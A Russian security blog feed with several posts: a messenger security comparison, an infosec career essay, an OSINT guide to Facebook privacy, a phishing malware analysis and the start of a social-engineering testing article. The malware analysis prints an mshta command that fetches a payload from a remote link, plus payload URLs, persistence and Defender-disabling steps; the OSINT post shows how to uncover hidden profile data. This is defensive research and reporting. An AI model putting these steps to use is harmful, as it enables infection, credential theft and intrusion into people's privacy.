Сразу оговоримся, что в границы нашего исследования не вошли:

анализ исходного кода: он доступен не для всех мессенджеров.
исследование серверной части мессенджеров: оно может включать инвазивное воздействие и требует письменного согласия на проведение данных работ.
криптографический анализ используемых алгоритмов шифрования и reverse engineering мессенджеров: эти работы займут намного больше времени, чем было отведено на проект, поэтому не будем отбирать хлеб специалистов-криптографов.

И что получилось?

Пришло время поделиться результатами исследования: как видно на диаграмме ниже, наибольшее количество баллов набрал Wickr Me 304 из 332 возможных:

В таблице отражено, как складывалась оценка каждого мессенджера:

Давайте рассмотрим лидеров в каждой категории и найденные недостатки, после чего немного детальнее рассмотрим каждый из них.

Открытость сообществу

Лидеры в этой категории Signal и Telegram набрали одинаковое значение, 10 баллов. Репозитории мессенджеров содержат исходный код приложения и протоколы, доступные для исследования всем желающим. Однако мессенджеры держат закрытой серверную часть приложения, поэтому не получили максимальную оценку.

Wickr Me набрал меньше баллов, так как мессенджер не раскрывает исходный код.

Архитектура

В этой категории есть общий для мессенджеров недостаток возможность обхода биометрической аутентификации. Эксплуатируя этот недостаток, можно получить доступ к данным пользователя мессенджера.

Лидером в категории Архитектура является Wickr Me, который содержит меньше выявленных недостатков, чем у конкурентов.

Signal и Telegram набрали меньше баллов, так как небезопасно хранят чувствительные данные мессенджера и профиля пользователя на клиентской стороне.

Из плюсов следует отметить, что все мессенджеры поддерживают E2EE-шифрование передаваемых данных, поэтому оценка Certificate pinning не проводилась.

Основная функциональность

Эту категорию можно расширять до бесконечности, но у нашей команды не было цели исследовать все реализованные фичи, и мы остановились на изучении основной функциональности мессенджеров и их безопасности:

обмен сообщениями
совершение аудио- и видеозвонков

Примечание: не рассматривалось использование в корпоративной среде.

Лидерами данной категории стали Wickr Me и Telegram, набрав максимальное количество баллов.

Версия мессенджера Signal под платформу Android содержит недостаток обработки исключений, который приводит к остановке приложения (то есть мессенджер сразу закрывается), поэтому Signal набрал меньше баллов в этой категории.

Информация о найденных недостатках

Мы описали общие результаты исследования, а теперь перейдем к более технической части. Ниже описаны некоторые детали выявленных недостатков мессенджеров.

Напомним, что все выявленные недостатки были обнаружены на устройствах с root-доступом (или к устройству применен jailbreak).

Первый недостаток, характерный для всех трех мессенджеров (для обеих платформ) это возможность обхода описанной выше биометрической аутентификации. Дальше мы рассмотрим этот недостаток для каждой платформы.

Возможность обхода биометрической аутентификации

Современные смартфоны поддерживают несколько механизмов аутентификации, и один из возможных это биометрическая аутентификация при помощи Touch ID или Face ID. При включенной функции биометрической аутентификации устройство сканирует отпечаток пальца (или лицо) и сравнивает с эталонным, заранее занесенным в систему.

iOS

У всех приложений, в том числе мессенджеров из нашего списка, для платформы iOS биометрическая аутентификация пользователя осуществляется при помощи Local Authentication Framework с использованием функции evaluatePolicy класса LAContext. Рассмотрим работу биометрической аутентификации немного подробнее.

Как выглядит биометрическая аутентификация для пользователя?

При нажатии на логотип мессенджера отображается диалоговое окно аутентификации, которое запрашивает у пользователя подтверждение действия, например, изменение настроек, покупку и т.д. с помощью биометрической аутентификации (Touch ID/Face ID).

В зависимости от того, как закончился процесс биометрической аутентификации, функция evaluatePolicy возвращает значение (true или false), которое используется далее для управления приложением (например, открывается мессенджер или нет).

В чем заключается недостаток?

У всех исследуемых мессенджеров недостаток реализации биометрической аутентификации состоит в том, что пользователь аутентифицируется лишь на основе результата функции evaluatePolicy (true или false) и мессенджер не использует системные механизмы авторизации при доступе к значениям из защищенного хранилища Keychain. Более подробно о локальной аутентификации можно узнать в Mobile Security Testing Guide: здесь и здесь.

Как устранить недостаток?

Один из способов устранить описанный недостаток создать в защищенном хранилище Keychain запись, которая будет содержать некоторый секрет (например, упомянутый ранее аутентификационный токен). При сохранении записи в Keychain необходимо задать соответствующие атрибуты, например, kSecAccessControlTouchIDAny или kSecAccessControlTouchIDCurrentSet.

Далее, чтобы получить значение этой записи, нужно будет обязательно успешно пройти локальную аутентификацию (в зависимости от заданных настроек доступа в Keychain с помощью Touch ID/Face ID или ввода парольной фразы). Использование Keychain с необходимыми атрибутами сохраняемых в нем объектов позволит снизить возможность получения доступа к данным мессенджера.

Android

Описанный выше недостаток характерен и для мессенджеров платформы Android, поэтому мы рассмотрим работу биометрической аутентификации немного подробнее.

В приложении для платформы Android биометрическая аутентификация пользователя осуществляется с использованием классов FingerprintManager (не используется с Android 9), BiometricPrompt, BiometricManager.

Процесс биометрической аутентификации для пользователя на платформе Android выглядит абсолютно так же, как и на iOS.

В чем заключается недостаток?

Недостаток реализации биометрической аутентификации исследуемых мессенджеров для платформы Android аналогичен недостатку для iOS не используются возможности операционной системы и устройства: мессенджеры не запрашивают системную авторизацию пользователя через KeyStore. Таким образом, потенциальный злоумышленник может подменять результат выполнения процедуры аутентификации для ее обхода.

Как устранить недостаток?

Для устранения данного недостатка в приложении рекомендуется использовать симметричные/асимметричные криптографические ключи (класс KeyGenerator), при инициализации которых вызывать функцию setUserAuthenticationRequired (true). Вызов данной функции позволяет получить доступ к значениям соответствующих криптографических ключей только после успешного прохождения процесса локальной аутентификации. Ключи при этом используются для шифрования некоторого секрета, например, аутентификационного токена в приложении.

Хранение чувствительной информации в локальном хранилище

Еще один обнаруженный недостаток небезопасное хранение чувствительных данных в локальном хранилище характерен для двух из трех мессенджеров.

Ниже мы привели примеры небезопасного хранения чувствительной информации в локальном хранилище, которые встречаются у некоторых мессенджеров платформы iOS:

передаваемые файлы, а также кэшированные изображения из чатов в открытом виде;
ключ шифрования базы данных мессенджера в Keychain. Поскольку не используется локальная аутентификация для доступа к значениям из Keychain (см. Возможность обхода биометрической аутентификации), хранение ключа шифрования базы данных мессенджера в Keychain снижает уровень защищенности данных;
файлы конфигурации мессенджера, в которых присутствуют параметры, использующиеся для шифрования;
IP-адрес устройства в лог-файлах мессенджера;
сообщения чатов в открытом виде в базе данных мессенджера.

Если говорить про мессенджеры на Android, небезопасное хранение чувствительных данных тоже встречается, например:

файлы конфигурации мессенджера, в которых присутствуют параметры, использующиеся для шифрования, а также информация о номере телефона пользователя;
сообщения пользователя (в том числе черновики) в открытом виде;
контактная информация пользователей мессенджера, с которыми переписывался владелец устройства.

Как устранить недостаток?

Для устранения данного недостатка рекомендуется пересмотреть архитектуру и способы хранения чувствительных данных мессенджера.

Еще раз напомним, что вышеуказанные чувствительные данные мессенджера недоступны без использования root-доступа (или jailbreak) на устройстве.

Некорректная обработка исключений

Данная уязвимость относится только к платформе Android и мессенджеру Signal.

При исследовании основной функциональности мессенджеров осуществлялась отправка файлов разных форматов. В результате был найден один сценарий, при котором отправка файла вызывала остановку в работе мессенджера со следующей ошибкой: Signal has stopped.

Исследование лог-файлов мессенджера показало, что у мессенджера есть необрабатываемое исключение. Информация об ошибке на внешние серверы не отправляется.

Как устранить недостаток?

Чтобы избавиться от данного недостатка, нужно реализовать проверку формата файла, который пользователь выбирает для отправки.

Ответы разработчиков

Обо всех описанных выше недостатках наша команда сообщила разработчикам мессенджеров. На момент публикации мы получили ответ от двух из трех мессенджеров (Signal и Telegram), третий на наши вопросы так и не ответил.

Разработчики поблагодарили нашу команду за предоставленную информацию и сообщили, что не считают выявленные недостатки уязвимостью, поскольку исследуемые версии мессенджеров используют для защиты данных мессенджера штатные механизмы защиты информации операционной системы. Используемые механизмы не позволяют эксплуатировать выявленные недостатки, а использование на устройстве root-доступа (или jailbreak) остается на усмотрение пользователя.

Тем не менее, мессенджеры могут реализовать проверку наличия root-прав на устройстве и уведомлять об этом пользователя устройства для снижения риска потенциальной компрометации данных.

Вывод

Мы провели сравнительный анализ защищенности трех мессенджеров, позиционирующих себя как безопасные, и выяснили, что все мессенджеры имеют ряд общих недостатков, а у Signal и Telegram также выявлены недостатки реализации хранения чувствительной информации в локальном хранилище.

Несмотря на то, что эксплуатация вышеуказанных недостатков возможна только при наличии физического доступа к смартфону, по оценке нашей команды, все эти недостатки снижают уровень защищенности данных пользователя.

По итогам всех проверок лидером нашего исследования стал мессенджер Wickr Me, который набрал 304 балла и у которого выявлено меньше всего недостатков.

Вывод прост: абсолютно безопасных мессенджеров нет, но мы надеемся, что благодаря этому исследованию вы сможете сохранить конфиденциальность и повысить безопасность своего общения, зная обо всех подводных камнях выбранного вами сервиса.

Подробнее..

Категории: Информационная безопасность , It-компании , Signal , Исследования и прогнозы в it , Мессенджеры , Cybersecurity , Блог компании group-ib , Telegram , Исследование , Research , Безопасность данных , Компьютерная безопасность , Data security , Wickr , Messengers

Из песочницы Как стать специалистом по кибербезопасности? Страх и ненависть в ИБ

14.11.2020 18:04:39 |

Автор: admin

Очередной раз начали появляться новости с аналитикой будто уже в следующие пару лет на рынке будет катастрофическая нехватка специалистов в области информационной безопасности (сократим до аббревиатуры ИБ). По версии ХХ в России не хватает уже порядка 30 тысяч специалистов. Звучит перспективно с точки зрения карьеры низкая конкуренция, иди и работай. Однако, как выглядит карьера ИБшника на Российском рынке?

У меня на этом рынке стаж работы приближается к круглой дате, если не считать профильное образование в этой области и за это время сформировалось устойчивое мнение о рынке ИБ в России и карьере в этой области. Дальше об этом речь и пойдет. Всё описанное дальше скорее для тех, кто решает ворваться (на самом деле достаточно просто шагнуть) в этот рынок или посмотреть на что-то другое.

Часто на разных ресурсах специализацию в области ИБ описывают как нечто сложное, загадочное, неопознанное и романтичное. В основном у всех, кто ещё не знаком с этой областью работа в ИБ ассоциируется непосредственно с хакерами и создается впечатление, что все ИБшники обладают этими навыками (взламывают сайты, крадут пароли, пробивают по IP и т.д.). Из-за этого вход на этот рынок выглядит максимально сложным и кандидату чаще кажется невозможным устроиться на работу ИБшником, не обладая этими знаниями. Однако, реалии таковы, что большинство специалистов ИБ даже не представляет, как это происходит. Более того значительная часть специалистов не особо и в ИТ разбираются. От чего же это так?

Рынок ИБ делится так же, как и все остальные рынки на заказчиков и исполнителей. Начнем с описания работы на стороне заказчиков.

Основными заказчиками на рынке ИБ выступают Государственные организации (далее сокращу просто до слова ГОСы, банки, крупный и средний бизнес. Так сложилось, что половина моего трудового стажа прошла именно в Государственных организациях. О специфики работы в этом секторе можно написать книгу, но, всё же, постараюсь сократить до необходимого минимума.

Начнем с того, что главное задачей в ГОСах в ИБ является не защита от злобных хакеров и вредоносного программного обеспечения, а выполнение законодательных и отраслевых требований, и это является главной проблемой на Российском рынке. Зачастую в этом секторе важнее понимать какие законы в области ИБ существуют, как они трактуются, как они касаются конкретной организации и как их можно ~~обойти~~ закрыть. По факту это работа с бумажками: составление внутренней распорядительной документации, регламентов и положений, связанных с государственной и коммерческой тайнами, а также обработке информации, связанной с персональными данными или данными для служебного пользования. Здесь требуется знать как категорировать информацию, какая часть информационной системы к какой категории относится, и какими средствами защиты это должно закрываться (последнее описано курирующими государственными службами), и нужно ли вообще это защищать. При этом при всем, есть ещё отраслевые требования, которые могут быть шире, чем законодательные требования, приказы и положения. В этих секторах нет устоявшегося стандарта расположения блока ИБ в штате организации. ИБшники могут как существовать в блоке ИТ, так и в отдельном управлении. Однако, техническая сторона ИБ (внедрение средств защиты информации, настройка и сопровождение) ложится на блок ИТ (и это не только в ГОСах так). Связано это с тем, что бюджет на информационные системы как на актив ложится именно на блок ИТ. Отсюда возникает другая проблема бюджет на обеспечение средствами защиты информационной системы организации формируется именно в блоке ИТ. Из-за этого ИБшники и ИТ постоянно воюют за приоритезацию бюджета. При этом, если блок ИБ не сможет донести до руководства ИТ необходимость закупки того или иного решения ИБ, то в бюджетный план на следующий год это и не попадет. У высшего руководства тоже не всегда получается добиться поддержки, потому что в данном случае нужно описывать также экономическую целесообразность закупки того или иного решения (или сервиса). А как показать возможный финансовый ущерб от хакерской атаки, если она в этой организации ещё не возникала? Да и большинство организаций уверены, что их никто не атакует и они никому не нужны. В итоге приходится жить с тем, что имеешь!

Однако, недопонимание встречается не только со стороны ИТ, но и ИБ из-за отсутствия необходимых технических компетенций (а когда им их повышать, если они только что и делают, так это пишут проклятые бумажки): требования законодательства обязуют использовать в информационных системах средства от несанкционированного доступа, которое жрет достаточно много компьютерных ресурсов так ещё и является агентским решением, которое должно устанавливаться на каждую рабочую станцию в организации. А если это предприятие с 4к пользователями, где парк машин с ОС Windows 7 и не потому, что сложно закупить (хотя это тоже требует не мало финансов) новые версии Windows 10, а потому что этот парк компьютеров устаревший и не потянет эту операционную систему, а тут ещё и агент средства защиты информации будет жрать ресурсы как бешеный.

В итоге для того, чтобы внедрить только одно решение уже потребуется обновить парк компьютеров! Просто представьте сколько это денег! А они не у каждого ГОСа есть, а зачастую ещё главная отраслевая компания распоряжается этими финансами, а не само предприятие.

Конечно, это не везде так, но из-за таких ситуаций рабочими обязанностями обычного специалиста являются задачи по маранию бумаги. Не идет речь о работе с какими-то инцидентами информационной безопасности, нет работы с технической составляющей (напомню этим занимаются ИТшники). Отсутствует даже возможность узнать на сколько текущая ситуация в компании расходится со стандартами ИБ. Уже через год такой работы молодой специалист полезет на стенку от скуки, и эта работа будет больше связанна с менеджментом вопросов ИБ, вот такая романтика.

Проработав год в такой компании, единственное, чему вы научитесь, это выполнять требования ИБ в конкретной организации, у вас не появится каких-то специфичных знаний в области ИБ, которые в дальнейшем вам помогут успешно продвигаться по карьерной лестнице (хотя каждый себе сам ставит потолок), расширить кругозор не получится.

Несомненно, вы начнете разбираться в законодательной базе, это полезно. Но для того, чтобы изучить эту базу и понять требуется не так много времени. Для такой работы не требуется специфических знаний в ИБ. Но HR упорно продолжают писать в требованиях, что вы должны знать как работать с различными средствами защиты информации, знать всю законодательную базу, иметь высшее специализированное образование и вообще опыт работы не менее 3-х лет (это всё там даже применить не получится). А ЗП предложат всего 60-80к. Не так давно увидел объявление одной такой крупной компании в Москве:

Наименование такого прекрасного работодателя закрасил, но если вдруг кто заинтересовался, то по этому описанию и сами сможете определить.

Не то чтобы это пропасть, можно построить карьеру и в госсекторе, но без связей, скорее всего, за пределами текущей компании вы сможете претендовать только на такую же позицию.

Но за пределами госсектора всё обстоит гораздо лучше. Там не все относятся к ИБ так, будто главная задача это защититься от законодательных требований. В банках и крупных коммерческих организациях чаще всего уже сформирована финансовая оценка информационных активов компании и выбить бюджет на защиту этих активов у руководства не является сложной задачей. Нет требований к конкретным средствам защиты информации (здесь имеется в виду, что в некоторых государственных компаниях в отраслевых требованиях прописано у какого производителя закупать то или иное решение ИБ). Здесь и руками дадут пощупать и заставят разбирать вопросы легитимности того или иного инцидента ИБ, возникшего в инфраструктуре компании, да и ИТ с ИБ дружат лучше. И в этих секторах подбор специалиста будет уже более узконаправленный: под задачи менеджмента ИБ, сопровождения средств защиты информации, безопасную разработку программного обеспечения организации, поиск уязвимостей в инфраструктуре нанимаются отдельные специалисты, которым не вменяют в задачи делать всё подряд. Но надо учитывать, что большинство компаний не проявляют желания плодить разный парк производителей средств защиты информации (сократим до СЗИ) у себя в инфраструктуре. И это нормально, не всё так хорошо интегрируется с различными СЗИ. Подружить из между собой не всегда решаемая задача. Поэтому не особо надейтесь расширить свой кругозор по линейке производителей, но это и ненужно.

Освоив один класс решений, вы сможете уже интуитивно понять, как работать с решением другого производителя. В таких компаниях вы получите знания как работать с нормативной базой в этом секторе, будь то банк или промышленное производство, поймете, как выглядит модель угроз конкретно для вашего сектора, возможно, даже получите опыт управления проектами ИБ, взаимодействуя с подрядчиками. Такой опыт ценится на рынке, да и уровень зарплат в таких компаниях выше, чем в госсекторе.

На сегодня, пожалуй, всё! В следующей статье я опишу как выглядит работа в компаниях исполнителей, которые оказывают услуги ИБ на рынке и как выглядит возможный карьерный рост начиная с молодого специалиста. Ну и, конечно, уровень зарплат. И уже станет понятно стоит ли вам для себя открывать эту дверь.

Подробнее..

Категории: Информационная безопасность , Карьера в it-индустрии , Карьера , Cybersecurity , Карьера в it , Карьера в ит , Кибербезопасность , Защита информации , Иб , Кибератаки , Infosec , Карьера в иб , Рынок ит-услуг , Ибзрелость , Молодые специалисты

Настройки приватности Facebook VS OSINT

02.12.2020 16:10:54 |

Автор: admin

Уже достаточно много статей я разбирал OSINT и поиск в соцсетях с помощью Maltego. Сегодня же давайте поговорим о настройках приватности в их аккаунтах.

Когда-то я уже выказывал свое негодование относительно ситуации с настройками приватности в Одноклассниках. К слову, с того времени ситуация немножко изменилась в лучшую сторону, однако за полный контроль над приватностью своего профиля с вас все еще требуют деньги

Ну да и ладно бы с Одноклассниками. Куда интереснее проверить как обстоят дела с настройками конфиденциальности в самой большой социальной сети в мире. В Facebook.

В меню нам доступны следующие категории:

В эти категории внесены основные настройки приватности. Другие же не так очевидны и могут быть скорректированы отдельно для каждого пункта: места работы, учебы, семейного положения

Например, вы указали несколько мест работы и можете каждому из них задать видимость для отдельной категории пользователей соцсети. Однако если в дело вмешивается еще один пользователь, то тут не все так просто.

Допустим, Олег и Алена женаты, но Олег запретил Facebook показывать этот факт (нехороший такой Олег). При этом, Алена в настройках приватности данный пункт не скрывала, значит через ее профиль мы можем узнать, что Алена и Олег женаты.

Всю общедоступную информацию со страницы пользователя мы можем выгрузить на граф Maltego с помощью трансформа из состава пакета Social Links: [Facebook] Get User Details.
Для всех фото, постов и видео в хронике публикаций можно настроить отдельную видимость для всех или только для определенной категории пользователей.

Также можно отдельно настроить видимость списка друзей и подписок. А вот тут у нас есть несколько интересных опций: Настройки Конфиденциальность. Пройдемся по тем, которые могут существенно подпортить нам жизнь при проведении OSINT.

Кто сможет видеть ваши будущие публикации определяет, какое значение будет выставлено по умолчанию для каждого нового поста. Позволяет избежать случайной публикации поста с неверными настройками приватности. По умолчанию выставлено на Доступно всем.

Кто может посмотреть список ваших друзей а вот это уже важная настройка. Как писал Сервантес, а до него Еврипид: Скажи мне, кто твой друг и я скажу кто ты. По умолчанию данная настройка установлена на Доступно всем.

Однако, даже если установлено иное значение, то мы все равно можем кое-что узнать. Как? спросите вы. Ну, тут как обычно замешаны другие люди, точнее люди, которые есть у вас в друзьях, но при этом пренебрегают данной настройкой приватности.

Используя Entitie: Facebook Mutual Friends, мы можем получить список общих друзей между 2-мя аккаунтами. Для получения более полного списка друзей повторяем процедуру с результатами, полученными из первого запроса. Это, конечно, не так хорошо, как было бы с открытым списком, но лучше, чем ничего.

Еще одним интересным для нас разделом настроек является: Настройки Хроника и метки.

Кто может размещать публикации в вашей хронике? тут нам доступно всего 2 варианта Друзья и Только я. На видимость постов не влияет, едем дальше.

Кто может видеть, что публикуют другие в вашей хронике а вот это уже более интересная настройка, так как она напрямую влияет на видимость постов других людей в Вашей хронике. Значение по умолчанию Друзья. Если его сменить на Все, то таким образом посты ваших друзей у вас в хронике, например, поздравления с днем рождения, будут видны третьим лицам, что, как минимум, компрометирует ваш френдлист и дает нам поле для маневра методикой, описанной выше.

Разрешить другим людям делиться вашими публикациями в их историях дает возможность другим людям репостить ваши посты в своих историях.

Опция, кстати, по всей видимости сломана наглухо, потому что во время проверки мною, на момент написания статьи, возможность репоста записи все еще сохранялась даже при выключенной настройке. Возможно, на момент прочтения вами статьи эту опцию, наконец, починили.

Скройте из своей хроники комментарии с определенными словами Позволяет настроить встроенный спам-фильтр под ваш вкус. Можно даже загрузить CSV-файл со всеми неприемлемыми для вас словами. На тест я взял слово коронавирус, потому что заколебал он уже!

Оставляем 2 комментария под постом. Один простой, другой со стоп-словом.

Сам владелец страницы не видит текст комментария 2, однако видит, что комментарий в целом есть.

А вот если мы посмотри от третьего стороннего аккаунта, то мы не увидим комментарий 2 со стоп-словом вовсе.

Как итог, Maltego не может выгружать комментарии, которые попали под спам-фильтр.

Кто может видеть публикации, в которых вы отмечены, в вашей хронике если кто-то отмечает вас на фото, то пост с фото автоматически появляется в вашей хронике. Данный параметр позволяет контролировать, кто будет видеть данные посты по умолчанию (это Друзья друзей). Для поиска подобных постов в открытом доступе используется Transform: [Facebook] Posts Tagged.

Кто может видеть публикации, в которых вы отмечены значение по умолчанию Друзья. Дает возможность видеть вашим друзьям посты, на которых вас отметили, даже если изначально они не входят в аудиторию, которая может просматривать данный пост. Эта настройка не влияет на видимость постов.

Проверять метки, которые люди добавляют в ваши публикации, перед их размещением на Facebook интересная настройка почему-то по умолчанию установлена как Выключено. Это значит, что другие пользователи могут отмечать на ваших фото других людей без подтверждения с вашей стороны. Однако это касается только друзей. Сторонние аккаунты все же будут ждать одобрения с вашей стороны при установке метки.

Выводы

Несмотря на то, что Facebook имеет очень много настроек приватности, оказалось, что информация не всегда может быть скрыта на 100%. Большая часть настроек по умолчанию выставлена на Доступно всем, что тоже не повышает вашу безопасность.

Вне зависимости от того, какой соцсетью вы любите пользоваться, уделите время и ознакомьтесь, как работают ее настройки приватности. В современном мире, к сожалению, лучше не оставлять лишнего в публичном доступе.

Каждому есть, что скрывать. И помните: существует информация, которую лично вы не знаете, как использовать, а вот НЕВАЖНОЙ информации не существует, особенно, если дело касается вашей личности.

Кстати, в Телеграм-канале Тома Хантера как раз рассказываем, как даже не соцсети, а вполне сее домашние предметы и технологии могут собирать информацию о вас и пользоваться ею без вашего ведома.

До новых встреч!

Подробнее..

Категории: Информационная безопасность , Социальные сети и сообщества , Безопасность , Security , Facebook , Социальные сети , Блог компании t.hunter , Cybersecurity , Social media , Osint , Информационные технологии , Maltego t.hunter

След протектора как киберпреступники прятали стилеры в презентации от подрядчика МГУ

14.12.2020 14:08:42 |

Автор: admin

"Привет из МГУ. М.В.Ломоносов,
Внимание: по рекомендации вашей компании мы выступаем в качестве подрядчика МГУ. М.В.Ломоносова под руководством доктора философских наук. Виктор Антонович Садовничий. Нам нужно ваше предложение по нашему бюджету на 2020 год (прилагается). Подайте заявку не позднее 09 ноября 2020 года. Спасибо и всего наилучшего".

Получатель этого странного послания, даже очень далекий от научных кругов, сразу обратит внимание на две вещи: как безграмотно оно написано, а, во-вторых, ректор МГУ может быть философом лишь по состоянию души Виктор Антонович на самом деле доктор физико-математических наук, но никак не философских.

СERT Group-IB подтвердил догадку сентябрьские почтовые рассылки от имени руководства МГУ им. М.В. Ломоносова фейковые, более того они несли на борту популярные вредоносные программы для кражи данных (Data Stealer) Loki или AgentTesla Однако сегодняшний пост не про них, а об одном незаметном помощнике протекторе, которые защищает программы-шпионы от обнаружения. О том, какие техники использует этот протектор и как аналитикам удалось сквозь них добраться до исполняемого файла AgentTesla, рассказывает Илья Померанцев, руководитель группы исследований и разработки CERT-GIB .

Механизм распространения

В самом фишинговым письме его можно хорошенько рассмотреть на скриншоте ниже отправитель представляется подрядчиком вуза и предлагает утвердить бюджет. Среди получателей сообщения финансовые, промышленные и государственные организации России.
Хотя текст написан на русском языке, грубые орфографические, грамматические и стилистические ошибки наводят на мысль о том, что атакующие не носители языка. И, скорее всего, они использовали для составления писем машинный перевод.

В письме два идентичных вложения с разными расширениями:

Заражение

Исходный файл презентация PowerPoint в формате ppt. Дата последнего редактирования 5 ноября, а автором указан некто Masterofyourfather.

В документе три небольших VBA-макроса, которые приведут к выполнению команды:

mshta
http://%748237%728748@j[.]mp/aksnkwsfvyudnddwid

Сокращатель ссылок j.mp перенаправит на ресурс ninjaminjatumhmmkk.blogspot[.]com/p/8a9.html.

При открытии страницы, на первый взгляд, может показаться, что автор еще не разместил полезную нагрузку и дальнейший анализ невозможен.

Однако наша система Group- IB
Threat Hunting Framework и ее модуль Polygon, позволяющий осуществлять поведенческий анализ файлов, извлекаемых из электронных писем, опровергла это предположение, продемонстрировав, как развивается атака дальше.

Если заглянуть в исходный код страницы становится ясна причина такой скрытности. Ресурс Blogspot позволяет вставлять script-теги в теле блога. А поскольку все современные браузеры по умолчанию игнорируют скрипты на VBscript, при обычном открытии страницы ничего не происходит.

Базовый скрипт

Базовый скрипт совмещает три задачи:

Закрепление в системе
Обход систем защиты
Загрузка основного модуля

Рассмотрим каждый пункт в отдельности.

Закрепление в системе

Для персистентности ВПО использует механизм безфайлового закрепления. Для этого в реестре в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ создаются ключи со значениями mshta vbscript:Execute({Тело скрипта VBS}). Это позволяет хранить полезную нагрузку целиком в реестре, при этом реализуя автозапуск.

Также реализована альтернативная возможность автозапуска через отложенную задачу (строчка 21 на скриншоте сверху). По указанным ссылкам расположены страницы Blogspot с полезной нагрузкой, размещаемой аналогично исходной. На момент анализа ни по одной ссылке вредоносного кода не оказалось.

Ссылки:

zoomba619.blogspot[.]com/p/5e.html
dodumdum6.blogspot[.]com/p/8a9.html
milltu99.blogspot[.]com/p/4w5.html
potatokapoli.blogspot[.]com/p/5e.html

Загрузчик основного модуля закрепляется в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ в ключе sexformoneyforsex, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\juggga.

Модуль обхода встроенных систем защиты Windows закрепляется аналогично по ключу Defeduckgotfucked, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\phuttalylo.

Обход систем защиты

Модуль обхода встроенных систем защиты Windows хранится в реестре в обфусцированном виде. Полезная загрузка записана строкой в виде ASCII-кодов, разделенных символом -. После декодирования нас ждет еще один простой скрипт, который содержит отраженную Base64-строку, в которой символ 0 заменен на ..

В итоге мы получим небольшое .NET-приложение.

Основной класс CMSTPBypass выдает механизм работы файла.

CMSTP это приложение, связанное с установщиком профиля Microsoft Connection Manager. Оно принимает файлы INF, которые могут быть снабжены вредоносными командами для выполнения произвольного кода в форме скриптлетов (SCT) и DLL. Это доверенное приложение Microsoft.

ВПО сохраняет в папку %Temp% файл inf с произвольным именем и следующим содержимым:

Строка REPLACE_COMMAND_LINE будет заменена на команду запуска vbs-скрипта из папки %Temp%, который ВПО извлечет из своей секции ресурсов.

В коде можно заметить упоминание NyanCat, автора известных крипторов и data stealer'ов. В его официальном репозитории на GitHub мы нашли исходный код модуля. Видимо, его позаимствовали атакующие.

Запуск осуществляется через c:\windows\system32\cmstp.exe, после чего ВПО начинает отслеживать появление окна cmstp, чтобы послать ему нажатие клавиши ENTER.
Запущенный VBS-скрипт фактически снижает встроенную защиту Windows до нуля:

Если скрипт запущен не с правами администратора он будет перезапущен с повышением привилегий.
Для Windows Defender применяются следующие настройки:
В исключения Windows Defender целиком добавляются диски C:\ и D:\, а также процессы Msbuild.exe, Calc.exe, powershell.exe, wscript.exe, mshta.exe, cmd.exe.
Отключается UAC.
Для пакетов MS Office версий от 11.0 до 16.0 отключаются все настройки безопасности.

Загрузка основного модуля

Загрузчик размещается в реестре по ключу HKCU\Software\juggga. Хотя ВПО предусматривает его автозапуск после перезагрузки, он будет также исполнен во время работы основного скрипта. Для этого запустится оболочка PowerShell в скрытом окне:

Механизм обфускации загрузчика аналогичен рассмотренному в предыдущем разделе:

Загрузка осуществляется по ссылке paste[.]ee/r/ZonQw:

После декодирования получаем исполняемый файл, который представляет собой обновленную версию уже знакомого нам AgentTesla.

Agent Tesla это модульное программное обеспечение для шпионажа, распространяемое по модели malware-as-a-service под видом легального кейлоггер-продукта. Agent Tesla способен извлекать и передавать на сервер злоумышленникам учетные данные пользователя из браузеров, почтовых клиентов и клиентов FTP, регистрировать данные буфера обмена, захватывать экран устройства.

Заключение

Мы рассмотрели любопытный протектор, вобравший в себя большое количество различных технологий по противодействию существующим системам защиты для конечных устройств. Если в организации нет современных систем, способных полностью автоматизировано останавливать целевые атаки на организацию, и детонировать принудительно вскрывать подозрительные почтовые рассылки в изолированной среде, то рассмотренное ВПО позволит протащить на машину и закрепить в системе любую полезную нагрузку, даже такой хорошо известный и выявляемый большинством антивирусов data stealer, как AgentTesla.

Подробнее..

Категории: Информационная безопасность , It-компании , Реверс-инжиниринг , Исследования и прогнозы в it , Cybersecurity , Блог компании group-ib , Вредоносы , Впо , Information security , Компьютерная криминалистика , Cybercriminalistics , Вредоносное по , Вредоносное программное обеспечение , Cybercrime , Реверс инжиниринг , Протектор , Protector , Cyberattack

Социотехническое тестирование какое лучше выбрать в 2021 году?

29.12.2020 12:11:44 |

Автор: admin

В интернете предостаточно статей о важности социотехнического тестирования. В них разбирается само понятие, методика, инструменты и почему так важно его проводить. Все просто: человек слабое звено в системе защиты любой компании.

В этой статье команда департамента аудита и консалтинга Group-IB решила пойти дальше и поделиться своим опытом социотехнического тестирования, которое проводила в этом году. Расскажем, для каких целей использовать данный вид тестирования, какие форматы предпочитали компании, что лучше выбрать в следующем году, а также каких результатов ждать.

Сразу предупреждаем, что текста получилось немало. Поэтому запасайтесь чаем, теплым свитером и любимой музыкой на фоне перед вами новогоднее чтиво. Также по нашей классике спешим предупредить (внимание: дисклеймер), что все совпадения случайны, а читатель сам в праве думать, что в этих историях правда, а что ложь.

С чего начинается социотехническое тестирование?

Тестирование начинается с формулирования целей. Именно цель определяет остальные составляющие:

время на подготовку к тестированию
объем разведывательных работ
формат тестирования
условия, которые должна обеспечить компания для старта работ
стоимость тестирования (эту составляющую не обсуждаем в статье)

Для чего и как проводить такое тестирование?

Социотехническое тестирование может проводиться для установления:

уровня осведомленности сотрудников и их практических навыков в распознавании социотехнических атак
эффективности функционирования систем обеспечения информационной безопасности
уровня подготовки сотрудников ИТ- и ИБ-отделов к выявлению и реагированию на социотехнические атаки (уровень осведомленности в вопросах безопасности данных сотрудников выше, что повышает сложность тестирования)
возможности компрометации инфраструктуры (социотехническое тестирование может применяться для тестирования на проникновение)

Соотношение цели социотехнического тестирования (социальная инженерия или СИ) и других его составляющих представлено в таблице.

	Определить уровень подготовленности сотрудников	Определить эффективность функционирования СЗИ	Определить уровень подготовленности сотрудников ИТ- и ИБ-отделов	Компрометация инфраструктуры
